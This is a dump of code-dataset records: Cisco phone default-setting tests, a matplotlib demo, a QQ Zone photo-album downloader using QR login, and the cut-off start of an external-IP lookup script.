related parameters on phone web gui ext\n    # Expected Results\n    # 1.  is no\n    #\n    # Topology:\n    # 1 3PCC Phone\n    def test0105_default_broadsoft_acd_settings(self):\n        self.check_defult_values(self.default_values['broadsoft_acd'])\n\n    # TIMS ID: Tph10140234c\n    # Author: Huiguang Huang(hhuiguan@cisco.com)\n    #\n    # Description and Test Steps:\n    #\n    # Setup\n    # 1. Register line 1 to the server. (The DUT is unregistered in this\n    # automated test.)\n    # Procedure\n    # 1. Press \"DND\" softkey to enable DND\n    # 2. Change  = *11 and  = *22\n    # 3. Factory reset DUT\n    # 4. Register line 1 to the proxy server. (Not performed in this\n    # automated test.)\n    # Expected Result\n    # After step 4:\n    # 1. Web page -> Voice -> User -> DND Settings = No\n    # 2. LCD Menu -> User preferences -> Call preferences -> Do not disturb =\n    # Off. (LCD Menu won't be check in this automated test.)\n    # 3. \"DND\" softkey is displayed. (LCD Header won't be check in this\n    # automated test.)\n    # 4. No \"Do not disturb\" indication on the top of LCD screen. (LCD Header\n    # won't be check in this automated test.)\n    # 5. Web page -> Voice -> Regional -> DND Act Code = *78\n    # 6. Web page -> Voice -> Regional -> DND Deact Code = *79\n    #\n    # Topology:\n    # 1 3PCC Phone\n    def test0106_default_dnd_settings(self):\n        self.check_defult_values(self.default_values['dnd'])\n\n    # TIMS ID: Tph10140295c\n    # Author: Huiguang Huang(hhuiguan@cisco.com)\n    #\n    # Description and Test Steps:\n    #\n    # Setup\n    # 1. Register line 1 to the server. (The DUT is unregistered in this\n    # automated test.)\n    # Procedure\n    # 1. Press \"Forward\" softkey and input \"123#\" to enable CFwd All\n    # 2. Change Cfwd related settings: (Web page -> Voice -> User)\n    #     = No\n    #     = 111\n    #     = 222\n    #     = 10\n    # 3. Change Cfwd related star codes: (Web Page -> Voice -> Regional)\n    #     = *11\n    #     = *22\n    #     = *33\n    #     = *44\n    #     = *55\n    #     = *66\n    # 4. Change Cfwd services: (Web Page -> Voice -> Phone)\n    #     = No\n    #     = No\n    #     = No\n    # 5. Factory reset DUT\n    # 6. Register line 1 to the proxy server. (Not performed in this automated\n    # test.)\n    # Expected Result\n    # After step 4:\n    # 1. Web page -> Voice -> User:\n    #     = Yes\n    #     = [blank]\n    #     = [blank]\n    #     = [blank]\n    #     = 20\n    # 2. Web page -> Voice -> Regional:\n    #     = *72\n    #     = *73\n    #     = *90\n    #     = *91\n    #     = *92\n    #     = *93\n    # 3. Web page -> Voice -> Phone:\n    #     = Yes\n    #     = Yes\n    #     = Yes\n    # 4. LCD Menu -> User preferences -> Call preferences:\n    #     = On\n    #     = [blank]\n    #     = [blank]\n    #     = [blank]\n    #     = 20\n    #    (LCD Menu won't be check in this automated test.)\n    # 5. \"Forward\" softkey is displayed. (Not checked in this automated test)\n    # 6. No \"CFwd All\" icon on the top left of LCD screen. (LCD Header won't\n    #  be check in this automated test.)\n    #\n    # Topology:\n    # 1 3PCC Phone\n    def test0107_default_call_forwarding_settings(self):\n        self.check_defult_values(self.default_values['call_forwarding'])\n\n    # TIMS ID: Tph10122291c\n    # Author: Huiguang Huang(hhuiguan@cisco.com)\n    #\n    # Description and Test Steps:\n    #\n    # Procedure\n    # 1. Factory reset phone\n    # Expected Results\n    # 1: On phone WEB GUI: Voice->Ext n->Dial Plan, Enable URI Dialing default\n    # value is no\n    #\n    # Topology:\n    # 1 3PCC Phone\n    def test0108_default_uri_dialing_setting(self):\n        self.check_defult_values(self.default_values['uri_dialing'])\n\n    # TIMS ID: Tph10133873c\n    # Author: Huiguang Huang(hhuiguan@cisco.com)\n    #\n    # Description and Test Steps:\n    #\n    # Procedure\n    # 1. Factory reset DUT\n    # 2. Check the web page and LCD GUI after DUT boots up\n    # Expected Result\n    # After step 2:\n    # 1. Default value on web page:\n    # Call Park Serv = Yes\n    #\n    # Topology:\n    # 1 3PCC Phone\n    def test0109_default_call_park_setting(self):\n        self.check_defult_values(self.default_values['call_park'])\n\n    # TIMS ID: Tph10133711c\n    # Author: Huiguang Huang(hhuiguan@cisco.com)\n    #\n    # Description and Test Steps:\n    #\n    # Procedure\n    # 1. Factory reset DUT\n    # 2. Check the web page and LCD GUI after DUT boots up\n    # Expected Result\n    # After step 2:\n    # 1. Default value on web page:\n    # Block ANC Serv = Yes\n    # Block CID Serv = Yes\n    # Block CID Setting = No\n    # Block ANC Setting = No\n    # Block CID Act Code = *61\n    # Block CID Deact Code = *62\n    # Block CID Per Call Act Code = *81\n    # Block CID Per Call Deact Code = *82\n    # Block ANC Act Code = *77\n    # Block ANC Deact Code = *87\n    #\n    # 2. Default value on LCD GUI: (Menu -> User preferences ->\n    # Call preferences) Block caller ID = Off, Block anonymous call = Off. (\n    # LCD Menu won't be check in this automated test)\n    #\n    # Topology:\n    # 1 3PCC Phone\n    def test0110_default_block_cid_anc(self):\n        self.check_defult_values(self.default_values['block_cid_anc'])\n\n    # TIMS ID: Tph10133769c\n    # Author: Huiguang Huang(hhuiguan@cisco.com)\n    #\n    # Description and Test Steps:\n    #\n    # Procedure\n    # 1. Factory reset DUT\n    # 2. Check the web page and LCD GUI after DUT boots up\n    # Expected Result\n    # After step 2:\n    # 1. Default value on web page:\n    # CW Setting = Yes\n    # CW Act Code = *56\n    # CW Deact Code = *57\n    # CW Per Call Act Code = *71\n    # CW Per Call Act Code = *70\n    #\n    # 2. Default value on LCD GUI: (Menu -> User preferences ->\n    # Call preferences) Call waiting = On. ( LCD Menu won't be check in this\n    # automated test)\n    #\n    # Topology:\n    # 1 3PCC Phone\n    def test0111_default_call_waiting_settings(self):\n        self.check_defult_values(self.default_values['call_waiting'])\n\n    # TIMS ID: Tph10133908c\n    # Author: Huiguang Huang(hhuiguan@cisco.com)\n    #\n    # Description and Test Steps:\n    #\n    # Procedure\n    # 1. Factory reset DUT\n    # 2. Check the web page and LCD GUI after DUT boots up (LCD menu won't\n    # be check in this automated test.)\n    # Expected Result\n    # After step 2:\n    # 1. Default value on web page:\n    # Call Pick Up Serv = Yes\n    # Group Call Pick Up Serv = Yes\n    # Call Pickup Code = *97\n    # Group Call Pickup Code = *98\n    #\n    # Topology:\n    # 1 3PCC Phone\n    def test0112_default_call_pickup_settings(self):\n        self.check_defult_values(self.default_values['call_pickup'])\n\n    # TIMS ID: Tph10120772c\n    # Author: Huiguang Huang(hhuiguan@cisco.com)\n    #\n    # Description and Test Steps:\n    #\n    # Setup\n    # 1. Register Line 1 on DUT. (The DUT is unregistered in this automated\n    # test.)\n    # Procedure\n    # 1. Factory rest DUT\n    # 2. Check the default value of Secure Call related parameters on web page\n    # Expected Result\n    # 1. The default value should be:\n    #  = Yes\n    #  = No\n    #  = *16\n    #  = *17\n    #  = *18\n    #  = *19\n    #  = AES 128 on all extensions (EXT n)\n    #\n    # Topology:\n    # 1 3PCC Phone\n    def test0113_default_secure_call_settings(self):\n        self.check_defult_values(self.default_values['secure_call'])\n    # ======== Group Call Feature Default Value Check End ========\n\n    # TIMS ID: Tph10120772c\n    # Author: Jingming Xu(jingmxu@cisco.com)\n    #\n    # Description and Test Steps:\n    #\n    # Test Steps:\n    #\n    #  1. Factory reset UUT\n    #  2. Check \"CallLog Enable\", \"CallLog Associated Line\",\n    #     \"Display Recents From\" values\n    #\n    # Verify:\n    #  \"CallLog Enable\" default value should be No\n    #  \"CallLog Associated Line\" default value should be 1\n    #  \"Display Recents From\" default value should be Phone\n    #\n    # Topology:\n    # 1. 1 phone\n    def test0114_default_network_call_log_settings(self):\n        self.check_defult_values(self.default_values['network_call_log'])\n\n    # TIMS ID: Tph10108737c\n    # Author: Payne Zhu (payzhu@cisco.com)\n    #\n    # Description and Test Steps:\n    #\n    # Test Steps:\n    #\n    #  1. Factory reset UUT\n    #  2. Check values\n    #     Resync Random Delay: 2\n    #     Resync At (HHmm): Blank\n    #     Resync At Random Delay: 600\n    #     Resync Periodic: 3600\n    #     Resync Error Retry Delay: 3600\n    #     Forced Resync Delay: 14400\n    #\n    def test0115_default_resync_timer(self):\n        self.check_defult_values(self.default_values['resync_timer'])\n\n    # TIMS_ID: Tph10085044c\n    # Author: Chen Yu (chenyu2@cisco.com)\n    # Description and Test Steps:\n    #\n    # Procedure\n    # 1.Factory reset phone, check upgrade parameters on WEB GUI\n    #\n    # Expected Results\n    # 1: Upgrade Enable is Yes\n    # 2: Upgrade Error Retry Delay is 3600\n    # 3: upgrade Rule is blank\n    # 4: Log Upgrade Request MSg is\n    # \"$PN $MAC -- Requesting upgrade $SCHEME://$SERVIP:$PORT$PATH\"\n    # 5: Log upgrade Success Msg is\n    # \"$PN $MAC -- Successful upgrade $SCHEME://$SERVIP:$PORT$PATH -- $ERR\"\n    # 6: Log Upgrade Failure Msg is \"$PN $MAC -- Upgrade failed: $ERR\"\n    #\n\n    def test0116_default_upgrade_parameter_settings(self):\n        self.check_defult_values(self.default_values['Firmware_Upgrade'])\n\n\n# this is called by 'tng run'\ndef main():\n    tng.api.runner()\n\n\nif __name__ == '__main__':\n    tng.run(main)\n", "sub_path": "common/Provisioning/cmPROV_3pcc_default_value_check.py", "file_name": "cmPROV_3pcc_default_value_check.py", "file_ext": "py", "file_size_in_byte": 26278, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "logging.getLogger", "line_number": 66, "usage_type": "call"}, {"api_name": "tng_sl.contrib.setup_helper.SetupHelpersTestCase", "line_number": 69, "usage_type": "name"}, {"api_name": "tng.api", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tng_sl.contrib.mpp.phone_config_helper.PhoneConfigHelper", "line_number": 70, "usage_type": "name"}, {"api_name": "tng_sl.plugins.synergylite_3pcc_ui.SynergyLite3pccUiHelper.PK_SK1", "line_number": 302, "usage_type": "attribute"}, {"api_name": "tng_sl.plugins.synergylite_3pcc_ui.SynergyLite3pccUiHelper", "line_number": 302, "usage_type": "name"}, {"api_name": "tng.base_errors.TngError", "line_number": 313, "usage_type": "call"}, {"api_name": "tng.api.runner", "line_number": 738, "usage_type": "call"}, {"api_name": "tng.api", "line_number": 738, "usage_type": "attribute"}, {"api_name": "tng.run", "line_number": 742, "usage_type": "call"}]}
+{"seq_id": "103661576", "text": "import matplotlib.pyplot as plt\nimport numpy as np\nimport matplotlib\n\n\"\"\"\nplt.subplot(2,1,1)\nplt.plot([2,4,6,8,10,12],[3,7,5,6,8,5])#按照x轴和y轴方式绘制数据点\nplt.ylabel(\"grade\")\nplt.axis([-2,15,-1,11])\nplt.savefig('test',dpi=800)\n\"\"\"\n\"\"\"\ndef f1(x):\n    return np.exp(x)*np.sin(x)\ndef f2(x):\n    return np.cos(2*np.pi*x)\n\na = np.array([0,0.5,1,1.5])\nplt.subplot(2,1,1)\nplt.plot(a,f1(a))\n\nplt.subplot(2,1,2)\nplt.plot(a,np.cos(2*np.pi*a),'r--')\nplt.show()\n\"\"\"\n# 绘制多条曲线\na = np.arange(10)\nplt.plot(a, a*2, '^k-.', a, a*3, 'or--', a, a*4, 'dg:', a, a*np.cos(a), '2b')\nplt.show()\n# 显示汉字\n\na = np.arange(0, 5, 0.02)\nmatplotlib.rcParams['font.family'] = 'SimHei'   # KaiTi,LiSu,YouYuan,FangSong\nmatplotlib.rcParams['font.style'] = 'italic'\nmatplotlib.rcParams['font.size'] = 10\nplt.plot(a, np.cos(2*np.pi*a), '2r-.')\nplt.ylabel(\"纵轴\")\nplt.xlabel(\"横轴\")\nplt.show()\n\n# 显示中文\n\nplt.ylabel(\"纵轴\", fontproperties='KaiTi', fontsize=14)\nplt.xlabel(\"横轴\", fontproperties='KaiTi', color='red')\nplt.text(1, -1.5, r'$text$', fontsize=14)\nplt.title(r'正弦波实例', fontproperties='KaiTi', fontsize=16)\nplt.annotate(r'annotate', xy=(2, 1), xytext=(3, 1.5), arrowprops=dict(facecolor='black', shrink=0.1, width=2))\nplt.axis([-1, 6, -2, 2])\nplt.grid(True)\nplt.plot(a, np.sin(2*np.pi*a), '2r-.')\nplt.show()\n\nplt.subplot2grid((3, 3), (0, 0), colspan=3)\nplt.subplot2grid((3, 3), (1, 0), rowspan=2)\nplt.subplot2grid((3, 3), (1, 1), rowspan=2, colspan=2)\nplt.subplot2grid((3, 3), (2, 2))\nplt.show()\n\n", "sub_path": "科学计算/matplotlib demo1.py", "file_name": "matplotlib demo1.py", "file_ext": "py", "file_size_in_byte": 1526, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "numpy.arange", "line_number": 27, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 28, "usage_type": "name"}, {"api_name": "numpy.cos", "line_number": 28, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.show", "line_number": 29, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 29, "usage_type": "name"}, {"api_name": "numpy.arange", "line_number": 32, "usage_type": "call"}, {"api_name": "matplotlib.rcParams", "line_number": 33, "usage_type": "attribute"}, {"api_name": "matplotlib.rcParams", "line_number": 34, "usage_type": "attribute"}, {"api_name": "matplotlib.rcParams", "line_number": 35, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 36, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 36, "usage_type": "name"}, {"api_name": "numpy.cos", "line_number": 36, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 36, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 37, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 37, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 38, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 38, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 39, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 39, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 43, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 43, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xlabel", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.text", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.annotate", "line_number": 47, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 47, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axis", "line_number": 48, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 48, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 49, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 49, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 50, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 50, "usage_type": "name"}, {"api_name": "numpy.sin", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 50, "usage_type": "attribute"}, {"api_name": "matplotlib.pyplot.show", "line_number": 51, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 51, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot2grid", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 53, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot2grid", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 54, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot2grid", "line_number": 55, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 55, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplot2grid", "line_number": 56, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 56, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 57, "usage_type": "name"}]}
+{"seq_id": "197831054", "text": "# -*- coding:utf-8 -*-\n# fun for use!\n# Author: vegetable chicken\n# createtime: 2020/1/5 19:47\n\nimport random\nimport time\nimport warnings\nimport os\n\nimport requests\nimport re\nfrom PIL import Image\n\nwarnings.filterwarnings('ignore')\n\n\nHEADERS = {\n    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36'\n}\n\nQRIMG_PATH = 'code.jpg'\nIMGSV_PATH = '图包/'\n\n'''在这里设置你的URL'''\nLOGIN_URL = 'https://xui.ptlogin2.qq.com/cgi-bin/xlogin?proxy_url=https://qzs.qq.com/qzone/v6/portal/proxy.html&daid=5&&hide_title_bar=1&low_login=0&qlogin_auto_login=1&no_verifyimg=1&link_target=blank&appid=549000912&style=22&target=self&s_url=https://qzs.qq.com/qzone/v5/loginsucc.html?para=izone&pt_qr_app=%E6%89%8B%E6%9C%BAQQ%E7%A9%BA%E9%97%B4&pt_qr_link=https://z.qzone.com/download.html&self_regurl=https://qzs.qq.com/qzone/v6/reg/index.html&pt_qr_help_link=https://z.qzone.com/download.html&pt_no_auth=0'\nLOGIN_PARA = {\n    'proxy_url': 'https://qzs.qq.com/qzone/v6/portal/proxy.html',\n    'daid': '5',\n    'hide_title_bar': '1',\n    'low_login': '0',\n    'qlogin_auto_login': '1',\n    'no_verifyimg': '1',\n    'link_target': 'blank',\n    'appid': '549000912',\n    'style': '22',\n    'target': 'self',\n    's_url': 'https://qzs.qq.com/qzone/v5/loginsucc.html?para=izone',\n    'pt_qr_app': '手机QQ空间',\n    'pt_qr_link': 'https://z.qzone.com/download.html',\n    'self_regurl': 'https://qzs.qq.com/qzone/v6/reg/index.html',\n    'pt_qr_help_link': 'https://z.qzone.com/download.html',\n    'pt_no_auth': '0'\n}\n\nQRLOHIN_URL = 'https://ssl.ptlogin2.qq.com/ptqrlogin?'\nqrtoken = ''    # 从二维码中获得\nlogin_sig = ''  # 从cookie中获得\nQRLOGIN_PARA = {\n    'u1': 'https://qzs.qq.com/qzone/v5/loginsucc.html?para=izone',\n    'ptqrtoken': qrtoken,\n    'ptredirect': '0',\n    'h': '1',\n    't': '1',\n    'g': '1',\n    'from_ui': '1',\n    'ptlang': '2052',\n    'action': '0-0-' + str(int(time.time())),\n    'js_ver': '19112817',\n    'js_type': '1',\n    'login_sig': login_sig,\n    'pt_uistyle': '40',\n    'aid': '549000912',\n    'daid': '5',\n    'ptdrvs': 'AnyQUpMB2syC5zV6V4JDelrCvoAMh-HP6Xy5jvKJzHBIplMBK37jV1o3JjBWmY7j*U1eD8quewY_',\n    'has_onekey': '1'\n}\n\nQRSHOW_URL = 'https://ssl.ptlogin2.qq.com/ptqrshow?'\nQRSHOW_PARA = {\n    'appid': '549000912',\n    'e': '2',\n    'l': 'M',\n    's': '3',\n    'd': '72',\n    'v': '4',\n    't': str(random.random()),\n    'daid': '5',\n    'pt_3rd_aid': '0'\n}\n\nPHOLIS_URL = 'https://h5.qzone.qq.com/proxy/domain/photo.qzone.qq.com/fcgi-bin/fcg_list_album_v3?'\ng_tk = ''   # 关键参数，破解加密获得\nqq_num = ''  # 空间qq号，可在登陆后得到\nPHOLIS_PARA = {\n    'g_tk': g_tk,\n    'callback': 'shine0_Callback',\n    't': 995949761,\n    'hostUin': qq_num,\n    'uin': qq_num,\n    'appid': 4,\n    'inCharset': 'utf-8',\n    'outCharset': 'utf-8',\n    'source': 'qzone',\n    'plat': 'qzone',\n    'format': 'jsonp',\n    'notice': 0,\n    'filter': 1,\n    'handset': 4,\n    'mode': 2,\n    'sortOrder': 4,\n    'pageStart': 0,\n    'pageNum': 20,\n    'idcNum': 4,\n    'callbackFunc': 'shine2',\n    '_': 1578111026366\n}\n\nZONEPHO_URL = 'https://h5.qzone.qq.com/proxy/domain/photo.qzone.qq.com/fcgi-bin/cgi_list_photo?'\nZONEPHO_PARA = {\n    'g_tk': g_tk,\n    'callback': 'shine0_Callback',\n    't': 995949761,\n    'mode': 0,\n    'idcNum': 4,\n    'hostUin': qq_num,\n    'topicId': 'V11s9W7l1jRUwq',\n    'noTopic': 0,\n    'uin': qq_num,\n    'pageStart': 0,\n    'pageNum': 200,\n    'skipCmtCount': 0,\n    'singleurl': 1,\n    'batchId': '',\n    'notice': 0,\n    'appid': 4,\n    'inCharset': 'utf-8',\n    'outCharset': 'utf-8',\n    'source': 'qzone',\n    'plat': 'qzone',\n    'outstyle': 'json',\n    'format': 'jsonp',\n    'json_esc': 1,\n    'question': '',\n    'answer': '',\n    'callbackFun': 'shine0',\n    '_': 1578111026366\n}\n\n\nclass Login:\n\n    def __init__(self):\n        self.session = requests.Session()\n        self.all_cookies = {}\n        self.headers = HEADERS\n        self.lg_sig_url = LOGIN_URL\n        self.qrshow_url = QRSHOW_URL\n        self.qrlogin_url =QRLOHIN_URL\n        self.qqnum = ''\n        self.p_skey = ''\n\n    # 登陆解密函数\n    def decryptQrsig(self, q):\n        e = 0\n        for c in q:\n            e += (e << 5) + ord(c)\n        return 2147483647 & e\n\n    # 间隔2s检查二维码状态\n    def wait_for_response(self, qrtoken, login_sig):\n        params = QRLOGIN_PARA\n        params['ptqrtoken'] = qrtoken\n        params['login_sig'] = login_sig\n        while True:\n            params['action'] = '0-0-' + str(int(time.time())),\n            res = self.session.get(self.qrlogin_url, headers=self.headers, params=params)\n            if '未失效' in res.text:\n                print('二维码正常')\n            if '认证中' in res.text:\n                print('二维码验证中')\n            if '登录成功' in res.text:\n                print('验证成功！')\n                return res\n            elif '二维码已经失效' in res.text:\n                return None\n            time.sleep(2)\n\n    # 主函数\n    def main_(self):\n        print('正在准备...')\n        login_res = self.session.get(self.lg_sig_url, headers=self.headers, verify=False, params=LOGIN_PARA)\n        self.all_cookies.update(login_res.cookies)\n        login_sig = login_res.cookies['pt_login_sig']\n\n        qr_res = self.session.get(self.qrshow_url, headers=self.headers, params=QRSHOW_PARA)\n        self.all_cookies.update(requests.utils.dict_from_cookiejar(qr_res.cookies))\n        self.session.cookies.update(self.all_cookies)\n        qrsig = self.all_cookies['qrsig']\n        qrtoken = self.decryptQrsig(qrsig)\n\n        print('即将打开二维码图片，请扫描确认:')\n        with open(QRIMG_PATH, 'wb') as fp:\n            fp.write(qr_res.content)\n\n        qr_img = Image.open(QRIMG_PATH)\n        qr_img.show()\n        res = self.wait_for_response(qrtoken, login_sig)\n        if res is None:\n            print('二维码已失效，请重新开始!')\n            return None\n        self.qqnum = re.findall(r'&uin=(.+?)&service', res.text)[0]\n        self.all_cookies.update(requests.utils.dict_from_cookiejar(res.cookies))\n\n        # 从获得的登陆成功信息中取得刷新链接刷新页面，保存cookie\n        url_refresh = res.text[res.text.find('http'): res.text.find('pt_3rd_aid=0')] + 'pt_3rd_aid=0'\n        res = self.session.get(url_refresh, allow_redirects=False, verify=False)\n        self.all_cookies.update(requests.utils.dict_from_cookiejar(res.cookies))\n        self.session.cookies.update(self.all_cookies)\n        # 这有个小问题，cookie类型为cookiejar而不是字典，所以会有多个重名的索引，对应的应该是不同的域名记录，但是我不知道如何处理得到我想要的值，所以只能在这里得到我后面爬相册的时候需要的p_skey来代替\n        self.p_skey = res.cookies['p_skey']\n        print('已经从 {} 登陆'.format(self.qqnum))\n        return self.session, self.qqnum\n\n\nclass PhotoData:\n\n    def __init__(self, session=None, p_skey=None, qqnum=1234567, tg_qqnum=123, idd=None, num=30):\n        self.pho_url = ZONEPHO_URL\n        self.para = ZONEPHO_PARA\n        self.headers = HEADERS\n        self.session = session\n        self.p_skey = p_skey\n        self.qqnum = qqnum\n        self.id = idd\n        self.num = num\n        self.tg_qqnum = tg_qqnum\n\n    # g_tk解密函数（获得所有空间数据必要参数解密）\n    def g_tk_getter(self, p_skey):\n        h = 5381\n        g_tk = 100\n        for i in p_skey:\n            h += (h << 5) + ord(i)\n            # print('g_tk', h & 2147483647)\n            g_tk = h & 2147483647\n        return g_tk\n\n    def main_(self):\n        g_tk = self.g_tk_getter(self.p_skey)\n        self.para['g_tk'] = g_tk\n        self.para['hostUin'] = self.tg_qqnum\n        self.para['uin'] = self.qqnum\n        self.para['topicId'] = self.id\n        self.para['pageNum'] = self.num\n        res = self.session.get(self.pho_url, headers=self.headers, params=self.para)\n        print('内容已经获得')\n        return res.text\n\n\ndef replace(string, strp=0):\n    string = string.replace(' ', '__')\n    string = string.replace('-', '')\n    string = string.replace(':', '_')\n    string = string[strp:]\n    return string\n\n\ndef img_g_s(data, name):\n    pattern = re.compile(r'\"uploadtime\" : \"(.*?)\"[\\s\\S]*?\"url\" : \"(.*?)\"')\n    res = pattern.findall(data)\n    print('相册名为{}共{}条记录,时间跨度为 {} ~ {} '.format(name, len(res), res[0][0], res[-1][0]))\n    for i in range(len(res)):\n        res[i] = list(res[i])\n        res[i][0] = replace(res[i][0], strp=2)\n    return res\n\n\ndef saver(lis, session, path):\n    num = 1\n    if os.path.exists(path) is False:\n        os.makedirs(path)\n    for img_lis in lis:\n        print('正在获得第{}张图片,共{}张'.format(num, len(lis)))\n        num += 1\n        with open(path + img_lis[0] + '.jpg', 'wb') as fp:\n            img = session.get(img_lis[1], headers=HEADERS)\n            fp.write(img.content)\n        time.sleep(4)\n    print('已完成')\n\n\ndef pt_lis_getter(session, qqnum, tg_qqnum, g_tk):\n    para = PHOLIS_PARA\n    para['hostUin'] = tg_qqnum\n    para['uin'] = qqnum\n    para['g_tk'] = g_tk\n    res = session.get(PHOLIS_URL, headers=HEADERS, params=para)\n    print('已得到对象相册列表:')\n    pat = re.compile(r'\"id\" : \"(.*?)\"[\\s\\S]*?\"name\" : \"(.*?)\"[\\s\\S]*?\"total\" : (.*?),')\n    lis = pat.findall(res.text)\n    for i in range(len(lis)):\n        print('{}. {}  共 {} 张'.format(i+1, lis[i][1], lis[i][2]))\n    num_lis = []\n    while True:\n        try:\n            num = int(input('输入要爬取对象相册编号,输入其他退出'))\n        except Exception:\n            break\n        num = num - 1\n        num_lis.append(lis[num])\n    return num_lis\n\n\ndef main():\n    login = Login()\n    session, qqnum = login.main_()\n    g_tk = PhotoData().g_tk_getter(login.p_skey)\n    tg_qqnum = input('请输入需要爬取对象的qq号(默认自己):')\n    if tg_qqnum is '':\n        tg_qqnum = qqnum\n\n    pho_lis = pt_lis_getter(session, qqnum, tg_qqnum, g_tk)\n    for i in pho_lis:\n        name = i[1]\n        pho_data = PhotoData(session, login.p_skey, qqnum, tg_qqnum, i[0], int(i[2]))\n        data = pho_data.main_()\n        res_lis = img_g_s(data, i[1])\n        name = replace(name)\n        path = IMGSV_PATH + '{}/'.format(name)\n        saver(res_lis, session, path)\n\n\nif __name__ == '__main__':\n    main()\n", "sub_path": "qq_zone_ph0_2.py", "file_name": "qq_zone_ph0_2.py", "file_ext": "py", "file_size_in_byte": 10465, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "60", "api": [{"api_name": "warnings.filterwarnings", "line_number": 15, "usage_type": "call"}, {"api_name": "time.time", "line_number": 58, "usage_type": "call"}, {"api_name": "random.random", "line_number": 77, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 144, "usage_type": "call"}, {"api_name": "time.time", "line_number": 166, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 177, "usage_type": "call"}, {"api_name": "requests.utils.dict_from_cookiejar", "line_number": 187, "usage_type": "call"}, {"api_name": "requests.utils", "line_number": 187, "usage_type": "attribute"}, {"api_name": "PIL.Image.open", "line_number": 196, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 196, "usage_type": "name"}, {"api_name": "re.findall", "line_number": 202, "usage_type": "call"}, {"api_name": "requests.utils.dict_from_cookiejar", "line_number": 203, "usage_type": "call"}, {"api_name": "requests.utils", "line_number": 203, "usage_type": "attribute"}, {"api_name": "requests.utils.dict_from_cookiejar", "line_number": 208, "usage_type": "call"}, {"api_name": "requests.utils", "line_number": 208, "usage_type": "attribute"}, {"api_name": "re.compile", "line_number": 260, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 271, "usage_type": "call"}, {"api_name": "os.path", "line_number": 271, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 272, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 279, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 290, "usage_type": "call"}]}
+{"seq_id": "308939550", "text": "#!/usr/bin/python\n# -*- coding: UTF-8 -*-\nimport requests,datetime,re,os,time\nfrom bs4 import BeautifulSoup\nimport smtplib,email.MIMEText,email.MIMEMultipart\ndef get_out_ip(url=r'http://www.ip138.com/'):\n    headerss = { 'Accept':'text/html,application/xhtml+xm…plication/xml;q=0.9,*/*;q=0.8',\n                 'Accept-Encoding':'gzip, deflate',\n                 'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',\n                 'Cache-Control':'no-cache',\n                 'Connection':'keep-alive',\n                 'DNT':'1',\n                 'Pragma':'no-cache',\n                 'Cookie':'ASPSESSIONIDACQCQSDC=DDDODLJCEMCIPKBJDJIBOLFP; pgv_pvi=1639823360; pgv_si=s5730137088; ASPSESSIONIDQATAQQAC=JJHIPJGDGHMIDHJOCCOFGDFH; ASPSESSIONIDACRDQSCC=NAPKGLJCGPILFGOMGHJMONNC; ASPSESSIONIDCATDSQDC=HJJEHLJCPDDJKMFLKDPFDHLK',\n                 'Upgrade-Insecure-Requests':'1',\n                 